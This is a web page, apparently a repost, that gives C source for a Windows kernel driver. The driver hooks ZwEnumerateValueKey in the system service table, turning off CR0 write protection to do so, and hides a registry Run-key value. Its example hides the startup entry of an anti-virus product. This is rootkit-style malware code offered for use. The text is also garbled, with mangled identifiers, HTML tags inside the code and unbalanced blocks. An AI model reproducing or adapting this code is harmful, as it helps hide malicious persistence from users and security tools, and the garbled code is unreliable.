Go to: simple driver source code for hiding registry key values

// Simply hide the driver of the registry key value, which is implemented by hook zwenumeratevaluekey. Here the code is pasted: 3: <br/># include <ntddk. h> <br/> # include <stdio. h> </P> <p> // define obquerynamestring <br/> ntsysapi ntstatus ntapi obquerynamestring (<br/> In pvoid object, <br/> out pvoid objectnameinfo, <br/> In ulong length, <br/> out Pulong returnlength <br/> ); </P> <p> // define zwenumeratevaluekey <br/> ntsysapi ntstatus ntapi zwenumeratevaluekey (<br/> in handle keyhandle, <Br/> In ulong index, <br/> In key_value_information_class keyvalueinformationclass, <br/> out pvoid keyvalueinformation, <br/> In ulong length, <br/> out Pulong resultlength <br/> ); </P> <p> // define the API function prototype to be hooked <br/> ntstatus myzwenumeratevaluekey (<br/> in handle keyhandle, <br/> In ulong index, <br/> In key_value_information_class keyvalueinformationclass, <br/> out pvoid keyvalueinformation, <br/> In ulong le Ngth, <br/> out Pulong resultlength <br/>); </P> <p> // declare the function pointer, and the function return value is ntstatus type <br/> typedef ntstatus (* realzwenumeratevaluekey) (<br/> in handle keyhandle, <br/> In ulong index, <br/> In key_value_information_class keyvalueinformationclass, <br/> out pvoid keyvalueinformation, <br/> In ulong length, <br/> out Pulong resultlength <br/> ); </P> <p> realzwenumeratevaluekey = NULL; </P> <p>/ /This is the key value to be hidden. Here, the hidden key value is the startup Item of the Rising anti-virus software. You can also change it to another <br/> pwstr hidevalue = l "ravtray "; </P> <p> # pragma pack (1) <br/> typedef struct servicedescriptorentry {<br/> unsigned int * servicetablebase; <br/> unsigned int * servicecountertablebase; <br/> unsigned int * numberofservices; <br/> unsigned char * paramtablebase; <br/>} servicedescriptortableentry_t, * pservicedescriptortableentry_t; <br/> # pragma pack () </P> <p> _ declspec (Dllimport) servicedescriptortableentry_t keservicedescriptortable; </P> <p> # define syscall (_ function) keservicedescriptortable. servicetablebase [* (Pulong) (puchar) _ FUNCTION + 1)] </P> <p> ntstatus hookapi (); <br/> ntstatus unhook (); <br/> pvoid getpointer (handle); <br/> ntstatus driverunload (in pdriver_object driverobject); </P> <p> pvoid getpointer (handle) <br/>{< br/> pvoid pkey; <br/> If (! Handle) return NULL; <br/> If (obreferenceobjectbyhandle (handle, 0, null, kernelmode, & pkey, null )! = STATUS_SUCCESS) <br/>{< br/> pkey = NULL; <br/>}< br/> return pkey; <br/>}</P> <p> ntstatus myzwenumeratevaluekey (<br/> in handle keyhandle, <br/> In ulong index, <br/> In key_value_information_class keyvalueinformationclass, <br/> out pvoid keyvalueinformation, <br/> In ulong length, <br/> out Pulong resultlength <br/>) <br/>{< br/> pvoid pkey; <br/> unicode_string * puniname; <br/> ulong actuallen; <br/> unicod E_string ustrvaluename; <br/> ansi_string keyname; <br/> ntstatus status; <br/> pwstr valuename; <br/> ulong namelen; </P> <p> Status = (realzwenumeratevaluekey) (<br/> keyhandle, <br/> index, <br/> keyvalueinformationclass, <br/> keyvalueinformation, <br/> length, <br/> resultlength); <br/> pkey = getpointer (keyhandle ); </P> <p> If (pkey) <br/>{< br/> puniname = exallocatepool (nonpagedpool, 10 24*2); <br/> puniname-> maximumlength = 512*2; <br/> memset (puniname, 0, puniname-> maximumlength ); <br/> If (nt_success (obquerynamestring (pkey, puniname, 512*2, & actuallen) <br/>{< br/> rtlunicodestringtoansistring (& keyname, puniname, true); </P> <p> dbuplint ("% WS/N", puniname-> buffer); <br/> keyname. buffer = _ strupr (keyname. buffer); </P> <p> If (strcmp (keyname. buffer, "// registry // machine // software // Microsoft // Windows/ /CurrentVersion // Run ") = 0) <br/>{< br/> valuename = (pkey_value_full_information) keyvalueinformation)-> name; <br/> If (valuename! = NULL & wcsstr (valuename, hidevalue )! = NULL) <br/>{< br/> index ++; <br/> valuename = NULL; <br/> return (realzwenumeratevaluekey )) (<br/> keyhandle, <br/> index, <br/> keyvalueinformationclass, <br/> keyvalueinformation, <br/> length, <br/> resultlength ); <br/>}< br/> // dbuplint ("valuename = % WS/N", valuename ); </P> <p >}< br/>}</P> <p> return (realzwenumeratevaluekey )) (<br/> keyhandle, <br/> inde X, <br/> keyvalueinformationclass, <br/> keyvalueinformation, <br/> length, <br/> resultlength ); </P> <p >}</P> <p> ntstatus hookapi () <br/>{< br/> realzwenumeratevaluekey = (realzwenumeratevaluekey) syscall (zwenumeratevaluekey ); <br/> _ ASM {<br/> mov eax, Cr0 <br/> and eax, not 10000 h <br/> mov Cr0, eax <br/>}</P> <p> (realzwenumeratevaluekey) syscall (zwenumeratevaluekey) = myzwenumeratevaluekey; <br/>_asm {</P> <p> mov e Ax, Cr0 <br/> or eax, 10000 h <br/> mov Cr0, eax <br/>}< br/> return (STATUS_SUCCESS ); <br/>}</P> <p> ntstatus unhook () <br/>{< br/> _ ASM {<br/> mov eax, cr0 <br/> and eax, not 10000 h <br/> mov Cr0, eax <br/> (realzwenumeratevaluekey) syscall (zwenumeratevaluekey) = realzwenumeratevaluekey; <br/> _ ASM {</P> <p> mov eax, Cr0 <br/> or eax, 10000 h <br/> mov Cr0, eax <br/>}< br/> return STATUS_SUCCESS; <br/>}</P> <p> Tatus driverunload (in pdriver_object driverobject) <br/>{< br/> ntstatus status; <br/> dbuplint ("onUnload called! /N "); <br/> Status = unhook (); <br/> return status; <br/>}</P> <p> ntstatus DriverEntry (in pdriver_object thedriverobject, <br/> In punicode_string theregistrypath) <br/>{</P> <p> thedriverobject-> driverunload = driverunload; <br/> hookapi (); <br/> dbuplint ("hook called! /N "); <br/> return STATUS_SUCCESS; <br/>}< br/>